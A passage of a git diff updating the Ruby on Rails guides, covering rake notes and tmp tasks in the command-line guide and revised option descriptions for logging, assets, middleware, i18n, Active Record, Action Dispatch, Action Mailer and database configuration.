+You can add support for new file extensions using `config.annotations.register_extensions` option, which receives a list of the extensions with its corresponding regex to match it up.
+
+```ruby
+config.annotations.register_extensions("scss", "sass", "less") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ }
+```
+
If you are looking for a specific annotation, say FIXME, you can use `rake notes:fixme`. Note that you have to lower case the annotation's name.
```bash
-$ rake notes:fixme
+$ bin/rake notes:fixme
(in /home/foobar/commandsapp)
app/controllers/admin/users_controller.rb:
* [132] high priority for next deploy
-app/model/school.rb:
+app/models/school.rb:
* [ 17]
```
You can also use custom annotations in your code and list them using `rake notes:custom` by specifying the annotation using an environment variable `ANNOTATION`.
```bash
-$ rake notes:custom ANNOTATION=BUG
+$ bin/rake notes:custom ANNOTATION=BUG
(in /home/foobar/commandsapp)
-app/model/post.rb:
+app/models/article.rb:
* [ 23] Have to fix this one before pushing!
```
NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines.
-By default, `rake notes` will look in the `app`, `config`, `lib`, `script` and `test` directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable `SOURCE_ANNOTATION_DIRECTORIES`.
+By default, `rake notes` will look in the `app`, `config`, `lib`, `bin` and `test` directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable `SOURCE_ANNOTATION_DIRECTORIES`.
```bash
-$ export SOURCE_ANNOTATION_DIRECTORIES='rspec,vendor'
-$ rake notes
+$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor'
+$ bin/rake notes
(in /home/foobar/commandsapp)
-app/model/user.rb:
+app/models/user.rb:
* [ 35] [FIXME] User should have a subscription at this point
-rspec/model/user_spec.rb:
+spec/models/user_spec.rb:
* [122] [TODO] Verify the user that has a subscription works
```
@@ -461,18 +490,19 @@ rspec/model/user_spec.rb:
INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html)
-Rails comes with a test suite called `Test::Unit`. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write.
+Rails comes with a test suite called Minitest. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write.
### `tmp`
-The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for files), process id files, and cached actions.
+The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like sessions (if you're using a file store for sessions), process id files, and cached actions.
-The `tmp:` namespaced tasks will help you clear the `Rails.root/tmp` directory:
+The `tmp:` namespaced tasks will help you clear and create the `Rails.root/tmp` directory:
* `rake tmp:cache:clear` clears `tmp/cache`.
* `rake tmp:sessions:clear` clears `tmp/sessions`.
* `rake tmp:sockets:clear` clears `tmp/sockets`.
* `rake tmp:clear` clears all the three: cache, sessions and sockets.
+* `rake tmp:create` creates tmp directories for sessions, cache, sockets, and pids.
### Miscellaneous
@@ -482,7 +512,9 @@ The `tmp:` namespaced tasks will help you clear the `Rails.root/tmp` directory:
### Custom Rake Tasks
-Custom rake tasks have a `.rake` extension and are placed in `Rails.root/lib/tasks`.
+Custom rake tasks have a `.rake` extension and are placed in
+`Rails.root/lib/tasks`. You can create these custom rake tasks with the
+`bin/rails generate task` command.
```ruby
desc "I am short, but comprehensive description for my cool task"
@@ -514,9 +546,9 @@ end
Invocation of the tasks will look like:
```bash
-rake task_name
-rake "task_name[value 1]" # entire argument string should be quoted
-rake db:nothing
+$ bin/rake task_name
+$ bin/rake "task_name[value 1]" # entire argument string should be quoted
+$ bin/rake db:nothing
```
NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the `environment` task, which will load your application code.
@@ -563,14 +595,20 @@ We had to create the **gitapp** directory and initialize an empty git repository
$ cat config/database.yml
# PostgreSQL. Versions 8.2 and up are supported.
#
-# Install the ruby-postgres driver:
-# gem install ruby-postgres
-# On Mac OS X:
-# gem install ruby-postgres -- --include=/usr/local/pgsql
+# Install the pg driver:
+# gem install pg
+# On OS X with Homebrew:
+# gem install pg -- --with-pg-config=/usr/local/bin/pg_config
+# On OS X with MacPorts:
+# gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
# On Windows:
-# gem install ruby-postgres
+# gem install pg
# Choose the win32 build.
# Install PostgreSQL and put its /bin directory on your path.
+#
+# Configure Using Gemfile
+# gem 'pg'
+#
development:
adapter: postgresql
encoding: unicode
@@ -585,28 +623,3 @@ development:
It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.
NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the `rails new` command to generate the basis of your app.
-
-### `server` with Different Backends
-
-Many people have created a large number of different web servers in Ruby, and many of them can be used to run Rails. Since version 2.3, Rails uses Rack to serve its webpages, which means that any webserver that implements a Rack handler can be used. This includes WEBrick, Mongrel, Thin, and Phusion Passenger (to name a few!).
-
-NOTE: For more details on the Rack integration, see [Rails on Rack](rails_on_rack.html).
-
-To use a different server, just install its gem, then use its name for the first parameter to `rails server`:
-
-```bash
-$ sudo gem install mongrel
-Building native extensions. This could take a while...
-Building native extensions. This could take a while...
-Successfully installed gem_plugin-0.2.3
-Successfully installed fastthread-1.0.1
-Successfully installed cgi_multipart_eof_fix-2.5.0
-Successfully installed mongrel-1.1.5
-...
-...
-Installing RDoc documentation for mongrel-1.1.5...
-$ rails server mongrel
-=> Booting Mongrel (use 'rails server webrick' to force WEBrick)
-=> Rails 3.1.0 application starting on http://0.0.0.0:3000
-...
-```
diff --git a/guides/source/configuring.md b/guides/source/configuring.md
index a8e33a2956..7688962c01 100644
--- a/guides/source/configuring.md
+++ b/guides/source/configuring.md
@@ -30,10 +30,10 @@ Configuring Rails Components
In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components.
-For example, the default `config/application.rb` file includes this setting:
+For example, the `config/application.rb` file includes this setting:
```ruby
-config.filter_parameters += [:password]
+config.autoload_paths += %W(#{config.root}/extras)
```
This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`:
@@ -56,16 +56,19 @@ These configuration methods are to be called on a `Rails::Railtie` object, such
end
```
-* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.
+* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints built-in in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.
* `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array.
* `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`.
-* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with `threadsafe!`.
+* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes.
* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`.
+* `config.beginning_of_week` sets the default beginning of week for the
+application. Accepts a valid week day symbol (e.g. `:monday`).
+
* `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise.
* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true.
@@ -83,7 +86,7 @@ These configuration methods are to be called on a `Rails::Railtie` object, such
end
```
-* `config.dependency_loading` is a flag that allows you to disable constant autoloading setting it to false. It only has effect if `config.cache_classes` is true, which it is by default in production mode. This flag is set to false by `config.threadsafe!`.
+* `config.dependency_loading` is a flag that allows you to disable constant autoloading setting it to false. It only has effect if `config.cache_classes` is true, which it is by default in production mode.
* `config.eager_load` when true, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace.
@@ -97,27 +100,27 @@ These configuration methods are to be called on a `Rails::Railtie` object, such
* `config.file_watcher` the class used to detect file updates in the filesystem when `config.reload_classes_only_on_change` is true. Must conform to `ActiveSupport::FileUpdateChecker` API.
-* `config.filter_parameters` used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers.
+* `config.filter_parameters` used for filtering out the parameters that
+you don't want shown in the logs, such as passwords or credit card
+numbers. New applications filter out passwords by adding the following `config.filter_parameters+=[:password]` in `config/initializers/filter_parameter_logging.rb`.
* `config.force_ssl` forces all requests to be under HTTPS protocol by using `ActionDispatch::SSL` middleware.
-* `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all modes except production, where it defaults to `:info`.
-
-* `config.log_tags` accepts a list of methods that respond to `request` object. This makes it easy to tag log lines with debug information like subdomain and request id — both very helpful in debugging multi-user production applications.
+* `config.log_formatter` defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all modes except production, where it defaults to `Logger::Formatter`.
-* `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::BufferedLogger`, with auto flushing off in production mode.
+* `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all environments.
-* `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below.
+* `config.log_tags` accepts a list of methods that the `request` object responds to. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications.
-* `config.queue` configures the default job queue for the application. Defaults to `ActiveSupport::Queue.new` which processes jobs in a background thread. If you change the queue, you're responsible for running the jobs as well.
+* `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::Logger`.
-* `config.queue_consumer` configures a different job consumer for the default queue. Defaults to `ActiveSupport::ThreadedQueueConsumer`. The job consumer must respond to `start`.
+* `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below.
* `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If `config.cache_classes` is true, this option is ignored.
-* `config.secret_key_base` used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`.
+* `secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`.
-* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. Nginx or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won´t be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app.
+* `config.serve_static_assets` configures Rails itself to serve static assets. Defaults to true, but in the production environment is turned off as the server software (e.g. NGINX or Apache) used to run the application should serve static assets instead. Unlike the default setting set this to true when running (absolutely not recommended!) or testing your app in production mode using WEBrick. Otherwise you won't be able use page caching and requests for files that exist regularly under the public directory will anyway hit your Rails app.
* `config.session_store` is usually set up in `config/initializers/session_store.rb` and specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Custom session stores can also be specified:
@@ -129,15 +132,14 @@ These configuration methods are to be called on a `Rails::Railtie` object, such
* `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record.
-* `config.beginning_of_week` sets the default beginning of week for the application. Accepts a valid week day symbol (e.g. `:monday`).
-
-* `config.whiny_nils` enables or disables warnings when a certain set of methods are invoked on `nil` and it does not respond to them. Defaults to true in development and test environments.
-
### Configuring Assets
-* `config.assets.enabled` a flag that controls whether the asset pipeline is enabled. It is explicitly initialized in `config/application.rb`.
+* `config.assets.enabled` a flag that controls whether the asset
+pipeline is enabled. It is set to true by default.
-* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/production.rb`.
+* `config.assets.raise_runtime_errors` Set this flag to `true` to enable additional runtime error checking. Recommended in `config/environments/development.rb` to minimize unexpected behavior when deploying to `production`.
+
+* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/environments/production.rb`.
* `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem.
@@ -149,7 +151,9 @@ These configuration methods are to be called on a `Rails::Railtie` object, such
* `config.assets.prefix` defines the prefix where assets are served from. Defaults to `/assets`.
-* `config.assets.digest` enables the use of MD5 fingerprints in asset names. Set to `true` by default in `production.rb`.
+* `config.assets.manifest` defines the full path to be used for the asset precompiler's manifest file. Defaults to a file named `manifest-<random>.json` in the `config.assets.prefix` directory within the public folder.
+
+* `config.assets.digest` enables the use of MD5 fingerprints in asset names. Set to `true` by default in `production.rb` and `development.rb`.
* `config.assets.debug` disables the concatenation and compression of assets. Set to `true` by default in `development.rb`.
@@ -181,7 +185,6 @@ The full set of methods that can be used in this block are as follows:
* `javascripts` turns on the hook for JavaScript files in generators. Used in Rails for when the `scaffold` generator is run. Defaults to `true`.
* `javascript_engine` configures the engine to be used (for eg. coffee) when generating assets. Defaults to `nil`.
* `orm` defines which orm to use. Defaults to `false` and will use Active Record by default.
-* `performance_tool` defines which performance tool to use. Defaults to `nil`.
* `resource_controller` defines which generator to use for generating a controller when using `rails generate resource`. Defaults to `:controller`.
* `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a _scaffolded_ controller when using `rails generate scaffold`. Defaults to `:scaffold_controller`.
* `stylesheets` turns on the hook for stylesheets in generators. Used in Rails for when the `scaffold` generator is run, but this hook can be used in other generates as well. Defaults to `true`.
@@ -198,10 +201,10 @@ Every Rails application comes with a standard set of middleware which it uses in
* `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. Only enabled when `config.cache_classes` is `false`.
* `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.
* `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request.
-* `Rails::Rack::Logger` notifies the logs that the request has began. After request is complete, flushes all the logs.
+* `Rails::Rack::Logger` notifies the logs that the request has begun. After request is complete, flushes all the logs.
* `ActionDispatch::ShowExceptions` rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `false`, exceptions will be raised regardless.
* `ActionDispatch::RequestId` makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method.
-* `ActionDispatch::RemoteIp` checks for IP spoofing attacks. Configurable with the `config.action_dispatch.ip_spoofing_check` and `config.action_dispatch.trusted_proxies` settings.
+* `ActionDispatch::RemoteIp` checks for IP spoofing attacks and gets valid `client_ip` from request headers. Configurable with the `config.action_dispatch.ip_spoofing_check`, and `config.action_dispatch.trusted_proxies` options.
* `Rack::Sendfile` intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with `config.action_dispatch.x_sendfile_header`.
* `ActionDispatch::Callbacks` runs the prepare callbacks before serving the request.
* `ActiveRecord::ConnectionAdapters::ConnectionManagement` cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`.
@@ -211,8 +214,7 @@ Every Rails application comes with a standard set of middleware which it uses in
* `ActionDispatch::Flash` sets up the `flash` keys. Only available if `config.action_controller.session_store` is set to a value.
* `ActionDispatch::ParamsParser` parses out parameters from the request into `params`.
* `Rack::MethodOverride` allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.
-* `ActionDispatch::Head` converts HEAD requests to GET requests and serves them as so.
-* `ActionDispatch::BestStandardsSupport` enables "best standards support" so that IE8 renders some elements correctly.
+* `Rack::Head` converts HEAD requests to GET requests and serves them as so.
Besides these usual middleware, you can add your own by using the `config.middleware.use` method:
@@ -223,31 +225,37 @@ config.middleware.use Magical::Unicorns
This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another.
```ruby
-config.middleware.insert_before ActionDispatch::Head, Magical::Unicorns
+config.middleware.insert_before Rack::Head, Magical::Unicorns
```
There's also `insert_after` which will insert a middleware after another:
```ruby
-config.middleware.insert_after ActionDispatch::Head, Magical::Unicorns
+config.middleware.insert_after Rack::Head, Magical::Unicorns
```
Middlewares can also be completely swapped out and replaced with others:
```ruby
-config.middleware.swap ActionDispatch::BestStandardsSupport, Magical::Unicorns
+config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
```
They can also be removed from the stack completely:
```ruby
-config.middleware.delete ActionDispatch::BestStandardsSupport
+config.middleware.delete "Rack::MethodOverride"
```
### Configuring i18n
+All these configuration options are delegated to the `I18n` library.
+
+* `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application.
+
* `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`.
+* `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input.
+
* `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`.
### Configuring Active Record
@@ -264,9 +272,11 @@ config.middleware.delete ActionDispatch::BestStandardsSupport
* `config.active_record.table_name_suffix` lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string.
+* `config.active_record.schema_migrations_table_name` lets you set a string to be used as the name of the schema migrations table.
+
* `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table.
-* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc` for Rails, although Active Record defaults to `:local` when used outside of Rails.
+* `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc`.
* `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements.
@@ -274,9 +284,19 @@ config.middleware.delete ActionDispatch::BestStandardsSupport
* `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is true by default.
-* `config.active_record.auto_explain_threshold_in_seconds` configures the threshold for automatic EXPLAINs (`nil` disables this feature). Queries exceeding the threshold get their query plan logged. Default is 0.5 in development mode.
+* `config.active_record.cache_timestamp_format` controls the format of the timestamp value in the cache key. Default is `:number`.
-* +config.active_record.cache_timestamp_format+ controls the format of the timestamp value in the cache key. Default is +:number+.
+* `config.active_record.record_timestamps` is a boolean value which controls whether or not timestamping of `create` and `update` operations on a model occur. The default value is `true`.
+
+* `config.active_record.partial_writes` is a boolean value and controls whether or not partial writes are used (i.e. whether updates only set attributes that are dirty). Note that when using partial writes, you should also use optimistic locking `config.active_record.lock_optimistically` since concurrent updates may write attributes based on a possibly stale read state. The default value is `true`.
+
+* `config.active_record.maintain_test_schema` is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is true.
+
+* `config.active_record.dump_schema_after_migration` is a flag which
+ controls whether or not schema dump should happen (`db/schema.rb` or
+ `db/structure.sql`) when you run migrations. This is set to false in
+ `config/environments/production.rb` which is generated by Rails. The
+ default value is true if this configuration is not set.
The MySQL adapter adds one additional configuration option:
@@ -304,10 +324,14 @@ The schema dumper adds one additional configuration option:
* `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is `false` in test mode and `true` in all other modes.
-* `config.action_controller.relative_url_root` can be used to tell Rails that you are deploying to a subdirectory. The default is `ENV['RAILS_RELATIVE_URL_ROOT']`.
+* `config.action_controller.relative_url_root` can be used to tell Rails that you are [deploying to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is `ENV['RAILS_RELATIVE_URL_ROOT']`.
* `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`.
+* `config.action_controller.action_on_unpermitted_parameters` enables logging or raising an exception if parameters that are not explicitly permitted are found. Set to `:log` or `:raise` to enable. The default value is `:log` in development and test environments, and `false` in all other environments.
+
+* `config.action_controller.always_permitted_parameters` sets a list of whitelisted parameters that are permitted by default. The default values are `['controller', 'action']`.
+
### Configuring Action Dispatch
* `config.action_dispatch.session_store` sets the name of the store for session data. The default is `:cookie_store`; other valid options include `:active_record_store`, `:mem_cache_store` or the name of your own custom class.
@@ -324,6 +348,46 @@ The schema dumper adds one additional configuration option:
* `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`.
+* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults
+to `'http authentication'`.
+
+* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value.
+Defaults to `'signed cookie'`.
+
+* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt
+value. Defaults to `'encrypted cookie'`.
+
+* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed
+encrypted cookies salt value. Defaults to `'signed encrypted cookie'`.
+
+* `config.action_dispatch.perform_deep_munge` configures whether `deep_munge`
+ method should be performed on the parameters. See [Security Guide](security.html#unsafe-query-generation)
+ for more information. It defaults to true.
+
+* `config.action_dispatch.rescue_responses` configures what exceptions are assigned to an HTTP status. It accepts a hash and you can specify pairs of exception/status. By default, this is defined as:
+
+ ```ruby
+ config.action_dispatch.rescue_responses = {
+ 'ActionController::RoutingError' => :not_found,
+ 'AbstractController::ActionNotFound' => :not_found,
+ 'ActionController::MethodNotAllowed' => :method_not_allowed,
+ 'ActionController::UnknownHttpMethod' => :method_not_allowed,
+ 'ActionController::NotImplemented' => :not_implemented,
+ 'ActionController::UnknownFormat' => :not_acceptable,
+ 'ActionController::InvalidAuthenticityToken' => :unprocessable_entity,
+ 'ActionController::InvalidCrossOriginRequest' => :unprocessable_entity,
+ 'ActionDispatch::ParamsParser::ParseError' => :bad_request,
+ 'ActionController::BadRequest' => :bad_request,
+ 'ActionController::ParameterMissing' => :bad_request,
+ 'ActiveRecord::RecordNotFound' => :not_found,
+ 'ActiveRecord::StaleObjectError' => :conflict,
+ 'ActiveRecord::RecordInvalid' => :unprocessable_entity,
+ 'ActiveRecord::RecordNotSaved' => :unprocessable_entity
+ }
+ ```
+
+ Any exceptions that are not configured will be mapped to 500 Internal Server Error.
+
* `ActionDispatch::Callbacks.before` takes a block of code to run before the request.
* `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`.
@@ -346,45 +410,19 @@ The schema dumper adds one additional configuration option:
* `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging.
-* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`. See the [ERB documentation](http://www.ruby-doc.org/stdlib/libdoc/erb/rdoc/) for more information.
-
-* `config.action_view.javascript_expansions` is a hash containing expansions that can be used for the JavaScript include tag. By default, this is defined as:
-
- ```ruby
- config.action_view.javascript_expansions = { :defaults => %w(jquery jquery_ujs) }
- ```
-
- However, you may add to this by defining others:
-
- ```ruby
- config.action_view.javascript_expansions[:prototype] = [
- 'prototype', 'effects', 'dragdrop', 'controls'
- ]
- ```
-
- And can reference in the view with the following code:
-
- ```ruby
- <%= javascript_include_tag :prototype %>
- ```
-
-* `config.action_view.stylesheet_expansions` works in much the same way as `javascript_expansions`, but has no default key. Keys defined for this hash can be referenced in the view like such:
-
- ```ruby
- <%= stylesheet_link_tag :special %>
- ```
-
-* `config.action_view.cache_asset_ids` With the cache enabled, the asset tag helper methods will make fewer expensive file system calls (the default implementation checks the file system timestamp). However this prevents you from modifying any asset files while the server is running.
+* `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`, which turns on trimming of tail spaces and newline when using `<%= -%>` or `<%= =%>`. See the [Erubis documentation](http://www.kuwata-lab.com/erubis/users-guide.06.html#topics-trimspaces) for more information.
* `config.action_view.embed_authenticity_token_in_remote_forms` allows you to set the default behavior for `authenticity_token` in forms with `:remote => true`. By default it's set to false, which means that remote forms will not include `authenticity_token`, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the `meta` tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass `:authenticity_token => true` as a form option or set this config setting to `true`
-* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::PostsController` which renders this template:
+* `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::ArticlesController` which renders this template:
```erb
- <%= render @post %>
+ <%= render @article %>
```
- The default setting is `true`, which uses the partial at `/admin/posts/_post.erb`. Setting the value to `false` would render `/posts/_post.erb`, which is the same behavior as rendering from a non-namespaced controller such as `PostsController`.
+ The default setting is `true`, which uses the partial at `/admin/articles/_article.erb`. Setting the value to `false` would render `/articles/_article.erb`, which is the same behavior as rendering from a non-namespaced controller such as `ArticlesController`.
+
+* `config.action_view.raise_on_missing_translations` determines whether an error should be raised for missing translations
### Configuring Action Mailer
@@ -406,17 +444,25 @@ There are a number of settings available on `config.action_mailer`:
* `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to true.
-* `config.action_mailer.delivery_method` defines the delivery method. The allowed values are `:smtp` (default), `:sendmail`, and `:test`.
+* `config.action_mailer.delivery_method` defines the delivery method and defaults to `:smtp`. See the [configuration section in the Action Mailer guide](http://guides.rubyonrails.org/action_mailer_basics.html#action-mailer-configuration) for more info.
* `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing.
* `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:
```ruby
- :mime_version => "1.0",
- :charset => "UTF-8",
- :content_type => "text/plain",
- :parts_order => [ "text/plain", "text/enriched", "text/html" ]
+ mime_version: "1.0",
+ charset: "UTF-8",
+ content_type: "text/plain",
+ parts_order: ["text/plain", "text/enriched", "text/html"]
+ ```
+
+ Assign a hash to set additional options:
+
+ ```ruby
+ config.action_mailer.default_options = {
+ from: "noreply@example.com"
+ }
```
* `config.action_mailer.observers` registers observers which will be notified when mail is delivered.
@@ -431,10 +477,17 @@ There are a number of settings available on `config.action_mailer`:
config.action_mailer.interceptors = ["MailInterceptor"]
```
-* `config.action_mailer.queue` registers the queue that will be used to deliver the mail.
-```ruby
-config.action_mailer.queue = SomeQueue.new
-```
+* `config.action_mailer.preview_path` specifies the location of mailer previews.
+
+ ```ruby
+ config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"
+ ```
+
+* `config.action_mailer.show_previews` enable or disable mailer previews. By default this is `true` in development.
+
+ ```ruby
+ config.action_mailer.show_previews = false
+ ```
### Configuring Active Support
@@ -442,11 +495,15 @@ There are a few configuration options available in Active Support:
* `config.active_support.bare` enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded.
+* `config.active_support.test_order` sets the order that test cases are executed. Possible values are `:sorted` and `:random`. Currently defaults to `:sorted`. In Rails 5.0, the default will be changed to `:random` instead.
+
* `config.active_support.escape_html_entities_in_json` enables or disables the escaping of HTML entities in JSON serialization. Defaults to `false`.
* `config.active_support.use_standard_json_time_format` enables or disables serializing dates to ISO 8601 format. Defaults to `true`.
-* `ActiveSupport::BufferedLogger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
+* `config.active_support.time_precision` sets the precision of JSON encoded time values. Defaults to `3`.
+
+* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
* `ActiveSupport::Cache::Store.logger` specifies the logger to use within cache store operations.
@@ -456,17 +513,133 @@ There are a few configuration options available in Active Support:
* `ActiveSupport::Deprecation.silenced` sets whether or not to display deprecation warnings.
-* `ActiveSupport::Logger.silencer` is set to `false` to disable the ability to silence logging in a block. The default is `true`.
### Configuring a Database
-Just about every Rails application will interact with a database. The database to use is specified in a configuration file called `config/database.yml`. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default:
+Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable `ENV['DATABASE_URL']` or by using a configuration file called `config/database.yml`.
+
+Using the `config/database.yml` file you can specify all the information needed to access your database:
+
+```yaml
+development:
+ adapter: postgresql
+ database: blog_development
+ pool: 5
+```
+
+This will connect to the database named `blog_development` using the `postgresql` adapter. This same information can be stored in a URL and provided via an environment variable like this:
+
+```ruby
+> puts ENV['DATABASE_URL']
+postgresql://localhost/blog_development?pool=5
+```
+
+The `config/database.yml` file contains sections for three different environments in which Rails can run by default:
* The `development` environment is used on your development/local computer as you interact manually with the application.
* The `test` environment is used when running automated tests.
* The `production` environment is used when you deploy your application for the world to use.
